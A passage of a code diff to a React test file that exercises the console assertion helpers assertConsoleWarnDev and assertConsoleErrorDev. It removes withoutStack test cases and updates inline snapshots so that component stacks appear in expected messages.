+      const message = expectToThrowFailure(() => {
+        console.warn('Hi %s%s', '\n    in div', '\n    in div');
+        console.warn('Bye %s%s', '\n    in div', '\n    in div');
+        assertConsoleWarnDev([
+          'Hi \n    in div (at **)',
+          'Bye \n    in div (at **)',
+        ]);
       });
+      expect(message).toMatchInlineSnapshot(`
+        "assertConsoleWarnDev(expected)
 
-      // @gate __DEV__
-      it('fails if warnings are not expected to have a stack, but some do', () => {
-        const message = expectToThrowFailure(() => {
-          console.warn('Hello\n    in div');
-          console.warn('Good day');
-          console.warn('Bye\n    in div');
-          assertConsoleWarnDev(['Hello', 'Good day', 'Bye'], {
-            withoutStack: true,
-          });
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleWarnDev(expected)
+        Unexpected warning(s) recorded.
 
-          Unexpected component stack for:
-            "Hello <component stack>"
+        - Expected warnings
+        + Received warnings
 
-          Unexpected component stack for:
-            "Bye <component stack>"
-
-          If this warning should include a component stack, remove {withoutStack: true} from this warning.
-          If all warnings should include the component stack, you may need to remove {withoutStack: true} from the assertConsoleWarnDev call."
-        `);
-      });
-    });
-    describe('local withoutStack', () => {
-      // @gate __DEV__
-      it('passes when expected withoutStack logs matches the actual logs', () => {
-        console.warn('Hello\n    in div');
-        console.warn('Good day');
-        console.warn('Bye\n    in div');
-        assertConsoleWarnDev([
-          'Hello',
-          ['Good day', {withoutStack: true}],
-          'Bye',
-        ]);
-      });
-
-      // @gate __DEV__
-      it('fails if withoutStack is invalid null value', () => {
-        const message = expectToThrowFailure(() => {
-          console.warn('Hi');
-          assertConsoleWarnDev([['Hi', {withoutStack: null}]]);
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleWarnDev(expected)
-
-          Log entries that are arrays must be of the form [string, {withoutStack: true}]
-
-          Instead received [string, {"withoutStack":null}]."
-        `);
-      });
-
-      // @gate __DEV__
-      it('fails if withoutStack is invalid {} value', () => {
-        const message = expectToThrowFailure(() => {
-          console.warn('Hi');
-          assertConsoleWarnDev([['Hi', {withoutStack: {}}]]);
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleWarnDev(expected)
-
-          Log entries that are arrays must be of the form [string, {withoutStack: true}]
-
-          Instead received [string, {"withoutStack":{}}]."
-        `);
-      });
-
-      // @gate __DEV__
-      it('fails if withoutStack is invalid string value', () => {
-        const message = expectToThrowFailure(() => {
-          console.warn('Hi');
-          assertConsoleWarnDev([['Hi', {withoutStack: 'haha'}]]);
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleWarnDev(expected)
-
-          Log entries that are arrays must be of the form [string, {withoutStack: true}]
-
-          Instead received [string, {"withoutStack":"haha"}]."
-        `);
-      });
-
-      // @gate __DEV__
-      it('fails if withoutStack is invalid number value', () => {
-        const message = expectToThrowFailure(() => {
-          console.warn('Hi');
-          assertConsoleWarnDev([['Hi', {withoutStack: 4}]]);
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleWarnDev(expected)
-
-          Log entries that are arrays must be of the form [string, {withoutStack: true}]
-
-          Instead received [string, {"withoutStack":4}]."
-        `);
-      });
-
-      // @gate __DEV__
-      it('fails if you forget to wrap local withoutStack in array', () => {
-        const message = expectToThrowFailure(() => {
-          console.warn('Hello\n    in div');
-          console.warn('Bye\n    in div');
-          assertConsoleWarnDev(['Hello', {withoutStack: true}, 'Bye']);
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleWarnDev(expected)
-
-          Did you forget to wrap a log with withoutStack in an array?
-
-          The expected message for assertConsoleWarnDev() must be a string or an array of length 2.
-
-          Instead received {"withoutStack":true}."
-        `);
-      });
-
-      // @gate __DEV__
-      it('fails if you wrap in an array unnecessarily', () => {
-        const message = expectToThrowFailure(() => {
-          console.warn('Hello');
-          assertConsoleWarnDev([['Hello']]);
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleWarnDev(expected)
-
-          Did you forget to remove the array around the log?
-
-          The expected message for assertConsoleWarnDev() must be a string or an array of length 2, but there's only one item in the array. If this is intentional, remove the extra array."
-        `);
-      });
-
-      // @gate __DEV__
-      it('fails if only warning is not expected to have a stack, but does', () => {
-        const message = expectToThrowFailure(() => {
-          console.warn('Hello\n    in div');
-          assertConsoleWarnDev([['Hello', {withoutStack: true}]]);
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleWarnDev(expected)
-
-          Unexpected component stack for:
-            "Hello <component stack>"
-
-          If this warning should include a component stack, remove {withoutStack: true} from this warning.
-          If all warnings should include the component stack, you may need to remove {withoutStack: true} from the assertConsoleWarnDev call."
-        `);
-      });
-
-      // @gate __DEV__
-      it('fails if warnings are not expected to have a stack, but some do', () => {
-        const message = expectToThrowFailure(() => {
-          console.warn('Hello\n    in div');
-          console.warn('Good day');
-          console.warn('Bye\n    in div');
-          assertConsoleWarnDev([
-            [
-              'Hello',
-              {
-                withoutStack: true,
-              },
-            ],
-            'Good day',
-            [
-              'Bye',
-              {
-                withoutStack: true,
-              },
-            ],
-          ]);
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleWarnDev(expected)
-
-          Unexpected component stack for:
-            "Hello <component stack>"
-
-          Unexpected component stack for:
-            "Bye <component stack>"
-
-          If this warning should include a component stack, remove {withoutStack: true} from this warning.
-          If all warnings should include the component stack, you may need to remove {withoutStack: true} from the assertConsoleWarnDev call."
-        `);
-      });
-    });
-
-    // @gate __DEV__
-    it('fails if the args is greater than %s argument number', () => {
-      const message = expectToThrowFailure(() => {
-        console.warn('Hi %s', 'Sara', 'extra');
-        assertConsoleWarnDev(['Hi'], {withoutStack: true});
-      });
-      expect(message).toMatchInlineSnapshot(`
-        "assertConsoleWarnDev(expected)
-
-        Received 2 arguments for a message with 1 placeholders:
-          "Hi %s""
-      `);
-    });
-
-    // @gate __DEV__
-    it('fails if the args is greater than %s argument number for multiple warnings', () => {
-      const message = expectToThrowFailure(() => {
-        console.warn('Hi %s', 'Sara', 'extra');
-        console.warn('Bye %s', 'Sara', 'extra');
-        assertConsoleWarnDev(['Hi', 'Bye'], {withoutStack: true});
-      });
-      expect(message).toMatchInlineSnapshot(`
-        "assertConsoleWarnDev(expected)
-
-        Received 2 arguments for a message with 1 placeholders:
-          "Hi %s"
-
-        Received 2 arguments for a message with 1 placeholders:
-          "Bye %s""
-      `);
-    });
-
-    // @gate __DEV__
-    it('fails if the %s argument number is greater than args', () => {
-      const message = expectToThrowFailure(() => {
-        console.warn('Hi %s');
-        assertConsoleWarnDev(['Hi'], {withoutStack: true});
-      });
-      expect(message).toMatchInlineSnapshot(`
-        "assertConsoleWarnDev(expected)
-
-        Received 0 arguments for a message with 1 placeholders:
-          "Hi %s""
-      `);
-    });
-
-    // @gate __DEV__
-    it('fails if the %s argument number is greater than args for multiple warnings', () => {
-      const message = expectToThrowFailure(() => {
-        console.warn('Hi %s');
-        console.warn('Bye %s');
-        assertConsoleWarnDev(['Hi', 'Bye'], {withoutStack: true});
-      });
-      expect(message).toMatchInlineSnapshot(`
-        "assertConsoleWarnDev(expected)
-
-        Received 0 arguments for a message with 1 placeholders:
-          "Hi %s"
-
-        Received 0 arguments for a message with 1 placeholders:
-          "Bye %s""
-      `);
-    });
-
-    // @gate __DEV__
-    it('fails if component stack is passed twice', () => {
-      const message = expectToThrowFailure(() => {
-        console.warn('Hi %s%s', '\n    in div', '\n    in div');
-        assertConsoleWarnDev(['Hi']);
-      });
-      expect(message).toMatchInlineSnapshot(`
-        "assertConsoleWarnDev(expected)
-
-        Received more than one component stack for a warning:
-          "Hi %s%s""
-      `);
-    });
-
-    // @gate __DEV__
-    it('fails if multiple logs pass component stack twice', () => {
-      const message = expectToThrowFailure(() => {
-        console.warn('Hi %s%s', '\n    in div', '\n    in div');
-        console.warn('Bye %s%s', '\n    in div', '\n    in div');
-        assertConsoleWarnDev(['Hi', 'Bye']);
-      });
-      expect(message).toMatchInlineSnapshot(`
-        "assertConsoleWarnDev(expected)
-
-        Received more than one component stack for a warning:
-          "Hi %s%s"
-
-        Received more than one component stack for a warning:
-          "Bye %s%s""
-      `);
-    });
+          Hi      in div (at **)
+        +     in div (at **)
+          Bye      in div (at **)
+        +     in div (at **)"
+      `);
+    });
 
     // @gate __DEV__
     it('fails if multiple strings are passed without an array wrapper for single log', () => {
@@ -1596,7 +1350,7 @@ describe('ReactInternalTestUtils console assertions', () => {
 
         Expected messages should be an array of strings but was given type "string"."
       `);
-      assertConsoleWarnDev(['Hi', 'Bye']);
+      assertConsoleWarnDev(['Hi \n    in div', 'Bye \n    in div']);
     });
 
     // @gate __DEV__
@@ -1611,7 +1365,7 @@ describe('ReactInternalTestUtils console assertions', () => {
 
         Expected messages should be an array of strings but was given type "string"."
       `);
-      assertConsoleWarnDev(['Hi', 'Bye']);
+      assertConsoleWarnDev(['Hi \n    in div', 'Bye \n    in div']);
     });
 
     // @gate __DEV__
@@ -1627,7 +1381,11 @@ describe('ReactInternalTestUtils console assertions', () => {
 
         Expected messages should be an array of strings but was given type "string"."
       `);
-      assertConsoleWarnDev(['Hi', 'Wow', 'Bye']);
+      assertConsoleWarnDev([
+        'Hi \n    in div',
+        'Wow \n    in div',
+        'Bye \n    in div',
+      ]);
     });
 
     it('should fail if waitFor is called before asserting', async () => {
@@ -1798,34 +1556,56 @@ describe('ReactInternalTestUtils console assertions', () => {
       const message = expectToThrowFailure(() => {
         expect(root).toMatchRenderedOutput(<div>foobarbaz</div>);
       });
-      expect(message).toMatchInlineSnapshot(`
-        "asserConsoleLogsCleared(expected)
+      if (!__DEV__) {
+        expect(message).toMatchInlineSnapshot(`
+          "asserConsoleLogsCleared(expected)
 
-        console.warn was called without assertConsoleWarnDev:
-        + Not asserted
-        + Not asserted
-        + Not asserted
+          console.warn was called without assertConsoleWarnDev:
+          + Not asserted
+          + Not asserted
+          + Not asserted
 
-        You must call one of the assertConsoleDev helpers between each act call."
-      `);
+          You must call one of the assertConsoleDev helpers between each act call."
+        `);
+      } else {
+        expect(message).toMatchInlineSnapshot(`
+          "asserConsoleLogsCleared(expected)
+
+          console.warn was called without assertConsoleWarnDev:
+          + Not asserted%s,
+          +     in Yield (at **)
+          + Not asserted%s,
+          +     in Yield (at **)
+          + Not asserted%s,
+          +     in Yield (at **)
+
+          You must call one of the assertConsoleDev helpers between each act call."
+        `);
+      }
 
       expect(root).toMatchRenderedOutput(<div>foobarbaz</div>);
     });
   });
 
   describe('assertConsoleErrorDev', () => {
-    // @gate __DEV__
     it('passes if an error contains a stack', () => {
-      console.error('Hello\n    in div');
-      assertConsoleErrorDev(['Hello']);
+      if (__DEV__) {
+        console.error('Hello\n    in div');
+      }
+      assertConsoleErrorDev(['Hello\n    in div']);
     });
 
-    // @gate __DEV__
     it('passes if all errors contain a stack', () => {
-      console.error('Hello\n    in div');
-      console.error('Good day\n    in div');
-      console.error('Bye\n    in div');
-      assertConsoleErrorDev(['Hello', 'Good day', 'Bye']);
+      if (__DEV__) {
+        console.error('Hello\n    in div');
+        console.error('Good day\n    in div');
+        console.error('Bye\n    in div');
+      }
+      assertConsoleErrorDev([
+        'Hello\n    in div',
+        'Good day\n    in div',
+        'Bye\n    in div',
+      ]);
     });
 
     it('fails if act is called without assertConsoleErrorDev', async () => {
@@ -1854,16 +1634,32 @@ describe('ReactInternalTestUtils console assertions', () => {
         });
       });
 
-      expect(message).toMatchInlineSnapshot(`
-        "asserConsoleLogsCleared(expected)
+      if (!__DEV__) {
+        expect(message).toMatchInlineSnapshot(`
+          "asserConsoleLogsCleared(expected)
 
-        console.error was called without assertConsoleErrorDev:
-        + A
-        + B
-        + C
+          console.error was called without assertConsoleErrorDev:
+          + A
+          + B
+          + C
 
-        You must call one of the assertConsoleDev helpers between each act call."
-      `);
+          You must call one of the assertConsoleDev helpers between each act call."
+        `);
+      } else {
+        expect(message).toMatchInlineSnapshot(`
+                  "asserConsoleLogsCleared(expected)
+
+                  console.error was called without assertConsoleErrorDev:
+                  + A%s,
+                  +     in App (at **)
+                  + B%s,
+                  +     in App (at **)
+                  + C%s,
+                  +     in App (at **)
+
+                  You must call one of the assertConsoleDev helpers between each act call."
+              `);
+      }
     });
 
     it('fails if act is called without any assertConsoleDev helpers', async () => {
@@ -1894,26 +1690,55 @@ describe('ReactInternalTestUtils console assertions', () => {
         });
       });
 
-      expect(message).toMatchInlineSnapshot(`
-        "asserConsoleLogsCleared(expected)
+      if (!__DEV__) {
+        expect(message).toMatchInlineSnapshot(`
+          "asserConsoleLogsCleared(expected)
 
-        console.log was called without assertConsoleLogDev:
-        + A
-        + B
-        + C
+          console.log was called without assertConsoleLogDev:
+          + A
+          + B
+          + C
 
-        console.warn was called without assertConsoleWarnDev:
-        + A
-        + B
-        + C
+          console.warn was called without assertConsoleWarnDev:
+          + A
+          + B
+          + C
 
-        console.error was called without assertConsoleErrorDev:
-        + A
-        + B
-        + C
+          console.error was called without assertConsoleErrorDev:
+          + A
+          + B
+          + C
 
-        You must call one of the assertConsoleDev helpers between each act call."
-      `);
+          You must call one of the assertConsoleDev helpers between each act call."
+        `);
+      } else {
+        expect(message).toMatchInlineSnapshot(`
+                  "asserConsoleLogsCleared(expected)
+
+                  console.log was called without assertConsoleLogDev:
+                  + A
+                  + B
+                  + C
+
+                  console.warn was called without assertConsoleWarnDev:
+                  + A%s,
+                  +     in App (at **)
+                  + B%s,
+                  +     in App (at **)
+                  + C%s,
+                  +     in App (at **)
+
+                  console.error was called without assertConsoleErrorDev:
+                  + A%s,
+                  +     in App (at **)
+                  + B%s,
+                  +     in App (at **)
+                  + C%s,
+                  +     in App (at **)
+
+                  You must call one of the assertConsoleDev helpers between each act call."
+              `);
+      }
     });
 
     // @gate __DEV__
@@ -1934,8 +1759,8 @@ describe('ReactInternalTestUtils console assertions', () => {
         - Hi
         - Wow
         - Bye
-        + Wow  <component stack>
-        + Bye  <component stack>"
+        + Wow      in div (at **)
+        + Bye      in div (at **)"
       `);
     });
 
@@ -1957,8 +1782,8 @@ describe('ReactInternalTestUtils console assertions', () => {
         - Hi
         - Wow
         - Bye
-        + Hi  <component stack>
-        + Bye  <component stack>"
+        + Hi      in div (at **)
+        + Bye      in div (at **)"
       `);
     });
 
@@ -1967,7 +1792,11 @@ describe('ReactInternalTestUtils console assertions', () => {
       const message = expectToThrowFailure(() => {
         console.error('Hi \n    in div');
         console.error('Wow \n    in div');
-        assertConsoleErrorDev(['Hi', 'Wow', 'Bye']);
+        assertConsoleErrorDev([
+          'Hi \n    in div',
+          'Wow \n    in div',
+          'Bye \n    in div',
+        ]);
       });
       expect(message).toMatchInlineSnapshot(`
         "assertConsoleErrorDev(expected)
@@ -1977,11 +1806,11 @@ describe('ReactInternalTestUtils console assertions', () => {
         - Expected errors
         + Received errors
 
-        - Hi
-        - Wow
-        - Bye
-        + Hi  <component stack>
-        + Wow  <component stack>"
+        - Hi      in div
+        - Wow      in div
+        - Bye      in div
+        + Hi      in div (at **)
+        + Wow      in div (at **)"
       `);
     });
 
@@ -2003,9 +1832,9 @@ describe('ReactInternalTestUtils console assertions', () => {
 
         - Wow
         - Bye
-        + Hi  <component stack>
-        + Wow  <component stack>
-        + Bye  <component stack>"
+        + Hi      in div (at **)
+        + Wow      in div (at **)
+        + Bye      in div (at **)"
       `);
     });
 
@@ -2027,9 +1856,9 @@ describe('ReactInternalTestUtils console assertions', () => {
 
         - Hi
         - Bye
-        + Hi  <component stack>
-        + Wow  <component stack>
-        + Bye  <component stack>"
+        + Hi      in div (at **)
+        + Wow      in div (at **)
+        + Bye      in div (at **)"
       `);
     });
 
@@ -2051,424 +1880,62 @@ describe('ReactInternalTestUtils console assertions', () => {
 
         - Hi
         - Wow
-        + Hi  <component stack>
-        + Wow  <component stack>
-        + Bye  <component stack>"
+        + Hi      in div (at **)
+        + Wow      in div (at **)
+        + Bye      in div (at **)"
       `);
     });
+
     // @gate __DEV__
-    it('fails if only error does not contain a stack', () => {
+    it('fails if last received error containing "undefined" is not included', () => {
       const message = expectToThrowFailure(() => {
-        console.error('Hello');
-        assertConsoleErrorDev(['Hello']);
+        console.error('Hi');
+        console.error(
+          "TypeError: Cannot read properties of undefined (reading 'stack')\n" +
+            '    in Foo (at **)'
+        );
+        assertConsoleErrorDev(['Hi']);
       });
       expect(message).toMatchInlineSnapshot(`
         "assertConsoleErrorDev(expected)
 
-        Missing component stack for:
-          "Hello"
+        Unexpected error(s) recorded.
+
+        - Expected errors
+        + Received errors
 
-        If this error should omit a component stack, pass [log, {withoutStack: true}].
-        If all errors should omit the component stack, add {withoutStack: true} to the assertConsoleErrorDev call."
+          Hi
+        + TypeError: Cannot read properties of undefined (reading 'stack')     in Foo (at **)"
       `);
     });
 
     // @gate __DEV__
-    it('fails if first error does not contain a stack', () => {
+    it('regression: checks entire string, not just the first letter', async () => {
       const message = expectToThrowFailure(() => {
-        console.error('Hello\n    in div');
-        console.error('Good day\n    in div');
-        console.error('Bye');
-        assertConsoleErrorDev(['Hello', 'Good day', 'Bye']);
+        console.error('Message that happens to contain a "T"\n    in div');
+
+        assertConsoleErrorDev([
+          'This is a completely different message that happens to start with "T"',
+        ]);
       });
       expect(message).toMatchInlineSnapshot(`
         "assertConsoleErrorDev(expected)
 
-        Missing component stack for:
-          "Bye"
+        Unexpected error(s) recorded.
+
+        - Expected errors
+        + Received errors
 
-        If this error should omit a component stack, pass [log, {withoutStack: true}].
-        If all errors should omit the component stack, add {withoutStack: true} to the assertConsoleErrorDev call."
+        - This is a completely different message that happens to start with "T"
+        + Message that happens to contain a "T"     in div (at **)"
       `);
     });
-    // @gate __DEV__
-    it('fails if last error does not contain a stack', () => {
-      const message = expectToThrowFailure(() => {
-        console.error('Hello');
-        console.error('Good day\n    in div');
-        console.error('Bye\n    in div');
-        assertConsoleErrorDev(['Hello', 'Good day', 'Bye']);
-      });
-      expect(message).toMatchInlineSnapshot(`
-        "assertConsoleErrorDev(expected)
-
-        Missing component stack for:
-          "Hello"
-
-        If this error should omit a component stack, pass [log, {withoutStack: true}].
-        If all errors should omit the component stack, add {withoutStack: true} to the assertConsoleErrorDev call."
-      `);
-    });
-    // @gate __DEV__
-    it('fails if middle error does not contain a stack', () => {
-      const message = expectToThrowFailure(() => {
-        console.error('Hello\n    in div');
-        console.error('Good day');
-        console.error('Bye\n    in div');
-        assertConsoleErrorDev(['Hello', 'Good day', 'Bye']);
-      });
-      expect(message).toMatchInlineSnapshot(`
-        "assertConsoleErrorDev(expected)
-
-        Missing component stack for:
-          "Good day"
-
-        If this error should omit a component stack, pass [log, {withoutStack: true}].
-        If all errors should omit the component stack, add {withoutStack: true} to the assertConsoleErrorDev call."
-      `);
-    });
-    // @gate __DEV__
-    it('fails if all errors do not contain a stack', () => {
-      const message = expectToThrowFailure(() => {
-        console.error('Hello');
-        console.error('Good day');
-        console.error('Bye');
-        assertConsoleErrorDev(['Hello', 'Good day', 'Bye']);
-      });
-      expect(message).toMatchInlineSnapshot(`
-        "assertConsoleErrorDev(expected)
-
-        Missing component stack for:
-          "Hello"
-
-        Missing component stack for:
-          "Good day"
-
-        Missing component stack for:
-          "Bye"
-
-        If this error should omit a component stack, pass [log, {withoutStack: true}].
-        If all errors should omit the component stack, add {withoutStack: true} to the assertConsoleErrorDev call."
-      `);
-    });
-
-    // @gate __DEV__
-    it('regression: checks entire string, not just the first letter', async () => {
-      const message = expectToThrowFailure(() => {
-        console.error('Message that happens to contain a "T"\n    in div');
-
-        assertConsoleErrorDev([
-          'This is a completely different message that happens to start with "T"',
-        ]);
-      });
-      expect(message).toMatchInlineSnapshot(`
-        "assertConsoleErrorDev(expected)
-
-        Unexpected error(s) recorded.
-
-        - Expected errors
-        + Received errors
-
-        - This is a completely different message that happens to start with "T"
-        + Message that happens to contain a "T" <component stack>"
-      `);
-    });
-
-    describe('global withoutStack', () => {
-      // @gate __DEV__
-      it('passes if errors without stack explicitly opt out', () => {
-        console.error('Hello');
-        assertConsoleErrorDev(['Hello'], {withoutStack: true});
-
-        console.error('Hello');
-        console.error('Good day');
-        console.error('Bye');
-
-        assertConsoleErrorDev(['Hello', 'Good day', 'Bye'], {
-          withoutStack: true,
-        });
-      });
-
-      // @gate __DEV__
-      it('fails if withoutStack is invalid null value', () => {
-        const message = expectToThrowFailure(() => {
-          console.error('Hi');
-          assertConsoleErrorDev(['Hi'], {withoutStack: null});
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleErrorDev(expected)
-
-          The second argument must be {withoutStack: true}.
-
-          Instead received {"withoutStack":null}."
-        `);
-        assertConsoleErrorDev(['Hi'], {withoutStack: true});
-      });
-
-      // @gate __DEV__
-      it('fails if withoutStack is invalid {} value', () => {
-        const message = expectToThrowFailure(() => {
-          console.error('Hi');
-          assertConsoleErrorDev(['Hi'], {withoutStack: {}});
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleErrorDev(expected)
-
-          The second argument must be {withoutStack: true}.
-
-          Instead received {"withoutStack":{}}."
-        `);
-        assertConsoleErrorDev(['Hi'], {withoutStack: true});
-      });
-
-      // @gate __DEV__
-      it('fails if withoutStack is invalid string value', () => {
-        const message = expectToThrowFailure(() => {
-          console.error('Hi');
-          assertConsoleErrorDev(['Hi'], {withoutStack: 'haha'});
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleErrorDev(expected)
-
-          The second argument must be {withoutStack: true}.
-
-          Instead received {"withoutStack":"haha"}."
-        `);
-        assertConsoleErrorDev(['Hi'], {withoutStack: true});
-      });
-
-      // @gate __DEV__
-      it('fails if only error is not expected to have a stack, but does', () => {
-        const message = expectToThrowFailure(() => {
-          console.error('Hello\n    in div');
-          assertConsoleErrorDev(['Hello'], {withoutStack: true});
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleErrorDev(expected)
-
-          Unexpected component stack for:
-            "Hello <component stack>"
-
-          If this error should include a component stack, remove {withoutStack: true} from this error.
-          If all errors should include the component stack, you may need to remove {withoutStack: true} from the assertConsoleErrorDev call."
-        `);
-      });
-
-      // @gate __DEV__
-      it('fails if errors are not expected to have a stack, but some do', () => {
-        const message = expectToThrowFailure(() => {
-          console.error('Hello\n    in div');
-          console.error('Good day');
-          console.error('Bye\n    in div');
-          assertConsoleErrorDev(['Hello', 'Good day', 'Bye'], {
-            withoutStack: true,
-          });
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleErrorDev(expected)
-
-          Unexpected component stack for:
-            "Hello <component stack>"
-
-          Unexpected component stack for:
-            "Bye <component stack>"
-
-          If this error should include a component stack, remove {withoutStack: true} from this error.
-          If all errors should include the component stack, you may need to remove {withoutStack: true} from the assertConsoleErrorDev call."
-        `);
-      });
-    });
-    describe('local withoutStack', () => {
-      // @gate __DEV__
-      it('passes when expected withoutStack logs matches the actual logs', () => {
-        console.error('Hello\n    in div');
-        console.error('Good day');
-        console.error('Bye\n    in div');
-        assertConsoleErrorDev([
-          'Hello',
-          ['Good day', {withoutStack: true}],
-          'Bye',
-        ]);
-      });
-
-      // @gate __DEV__
-      it('fails if withoutStack is invalid null value', () => {
-        const message = expectToThrowFailure(() => {
-          console.error('Hi');
-          assertConsoleErrorDev([['Hi', {withoutStack: null}]]);
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleErrorDev(expected)
-
-          Log entries that are arrays must be of the form [string, {withoutStack: true}]
-
-          Instead received [string, {"withoutStack":null}]."
-        `);
-      });
-
-      // @gate __DEV__
-      it('fails if withoutStack is invalid {} value', () => {
-        const message = expectToThrowFailure(() => {
-          console.error('Hi');
-          assertConsoleErrorDev([['Hi', {withoutStack: {}}]]);
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleErrorDev(expected)
-
-          Log entries that are arrays must be of the form [string, {withoutStack: true}]
-
-          Instead received [string, {"withoutStack":{}}]."
-        `);
-      });
-
-      // @gate __DEV__
-      it('fails if withoutStack is invalid string value', () => {
-        const message = expectToThrowFailure(() => {
-          console.error('Hi');
-          assertConsoleErrorDev([['Hi', {withoutStack: 'haha'}]]);
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleErrorDev(expected)
-
-          Log entries that are arrays must be of the form [string, {withoutStack: true}]
-
-          Instead received [string, {"withoutStack":"haha"}]."
-        `);
-      });
-
-      // @gate __DEV__
-      it('fails if withoutStack is invalid number value', () => {
-        const message = expectToThrowFailure(() => {
-          console.error('Hi');
-          assertConsoleErrorDev([['Hi', {withoutStack: 4}]]);
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleErrorDev(expected)
-
-          Log entries that are arrays must be of the form [string, {withoutStack: true}]
-
-          Instead received [string, {"withoutStack":4}]."
-        `);
-      });
-
-      // @gate __DEV__
-      it('fails if you forget to wrap local withoutStack in array', () => {
-        const message = expectToThrowFailure(() => {
-          console.error('Hello\n    in div');
-          console.error('Bye\n    in div');
-          assertConsoleErrorDev(['Hello', {withoutStack: true}, 'Bye']);
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleErrorDev(expected)
-
-          Did you forget to wrap a log with withoutStack in an array?
-
-          The expected message for assertConsoleErrorDev() must be a string or an array of length 2.
-
-          Instead received {"withoutStack":true}."
-        `);
-      });
-
-      // @gate __DEV__
-      it('fails if you wrap in an array unnecessarily', () => {
-        const message = expectToThrowFailure(() => {
-          console.error('Hello');
-          assertConsoleErrorDev([['Hello']]);
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleErrorDev(expected)
-
-          Did you forget to remove the array around the log?
-
-          The expected message for assertConsoleErrorDev() must be a string or an array of length 2, but there's only one item in the array. If this is intentional, remove the extra array."
-        `);
-      });
-
-      // @gate __DEV__
-      it('fails if only error is not expected to have a stack, but does', () => {
-        const message = expectToThrowFailure(() => {
-          console.error('Hello\n    in div');
-          assertConsoleErrorDev([['Hello', {withoutStack: true}]]);
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleErrorDev(expected)
-
-          Unexpected component stack for:
-            "Hello <component stack>"
-
-          If this error should include a component stack, remove {withoutStack: true} from this error.
-          If all errors should include the component stack, you may need to remove {withoutStack: true} from the assertConsoleErrorDev call."
-        `);
-      });
-
-      // @gate __DEV__
-      it('fails if errors are not expected to have a stack, but some do', () => {
-        const message = expectToThrowFailure(() => {
-          console.error('Hello\n    in div');
-          console.error('Good day');
-          console.error('Bye\n    in div');
-          assertConsoleErrorDev([
-            [
-              'Hello',
-              {
-                withoutStack: true,
-              },
-            ],
-            'Good day',
-            [
-              'Bye',
-              {
-                withoutStack: true,
-              },
-            ],
-          ]);
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleErrorDev(expected)
-
-          Unexpected component stack for:
-            "Hello <component stack>"
-
-          Unexpected component stack for:
-            "Bye <component stack>"
-
-          If this error should include a component stack, remove {withoutStack: true} from this error.
-          If all errors should include the component stack, you may need to remove {withoutStack: true} from the assertConsoleErrorDev call."
-        `);
-      });
-
-      // @gate __DEV__
-      it('fails with a helpful error message if the expected error message mismatches', () => {
-        const message = expectToThrowFailure(() => {
-          console.error('Bye\n    in div');
-          assertConsoleErrorDev([
-            [
-              'Hello',
-              {
-                withoutStack: true,
-              },
-            ],
-          ]);
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleErrorDev(expected)
-
-          Unexpected error(s) recorded.
-
-          - Expected errors
-          + Received errors
-
-          - Hello
-          + Bye <component stack>"
-        `);
-      });
-    });
-
+
     // @gate __DEV__
     it('fails if the args is greater than %s argument number', () => {
       const message = expectToThrowFailure(() => {
         console.error('Hi %s', 'Sara', 'extra');
-        assertConsoleErrorDev(['Hi'], {withoutStack: true});
+        assertConsoleErrorDev(['Hi']);
       });
       expect(message).toMatchInlineSnapshot(`
         "assertConsoleErrorDev(expected)
@@ -2483,7 +1950,7 @@ describe('ReactInternalTestUtils console assertions', () => {
       const message = expectToThrowFailure(() => {
         console.error('Hi %s', 'Sara', 'extra');
         console.error('Bye %s', 'Sara', 'extra');
-        assertConsoleErrorDev(['Hi', 'Bye'], {withoutStack: true});
+        assertConsoleErrorDev(['Hi', 'Bye']);
       });
       expect(message).toMatchInlineSnapshot(`
         "assertConsoleErrorDev(expected)
@@ -2500,7 +1967,7 @@ describe('ReactInternalTestUtils console assertions', () => {
     it('fails if the %s argument number is greater than args', () => {
       const message = expectToThrowFailure(() => {
         console.error('Hi %s');
-        assertConsoleErrorDev(['Hi'], {withoutStack: true});
+        assertConsoleErrorDev(['Hi']);
       });
       expect(message).toMatchInlineSnapshot(`
         "assertConsoleErrorDev(expected)
@@ -2515,7 +1982,7 @@ describe('ReactInternalTestUtils console assertions', () => {
       const message = expectToThrowFailure(() => {
         console.error('Hi %s');
         console.error('Bye %s');
-        assertConsoleErrorDev(['Hi', 'Bye'], {withoutStack: true});
+        assertConsoleErrorDev(['Hi', 'Bye']);
       });
       expect(message).toMatchInlineSnapshot(`
         "assertConsoleErrorDev(expected)
@@ -2532,13 +1999,18 @@ describe('ReactInternalTestUtils console assertions', () => {
     it('fails if component stack is passed twice', () => {
       const message = expectToThrowFailure(() => {
         console.error('Hi %s%s', '\n    in div', '\n    in div');
-        assertConsoleErrorDev(['Hi']);
+        assertConsoleErrorDev(['Hi \n    in div (at **)']);
       });
       expect(message).toMatchInlineSnapshot(`
         "assertConsoleErrorDev(expected)
 
-        Received more than one component stack for a warning:
-          "Hi %s%s""
+        Unexpected error(s) recorded.
+
+        - Expected errors
+        + Received errors
+
+          Hi      in div (at **)
+        +     in div (at **)"
       `);
     });
 
@@ -2547,16 +2019,23 @@ describe('ReactInternalTestUtils console assertions', () => {
       const message = expectToThrowFailure(() => {
         console.error('Hi %s%s', '\n    in div', '\n    in div');
         console.error('Bye %s%s', '\n    in div', '\n    in div');
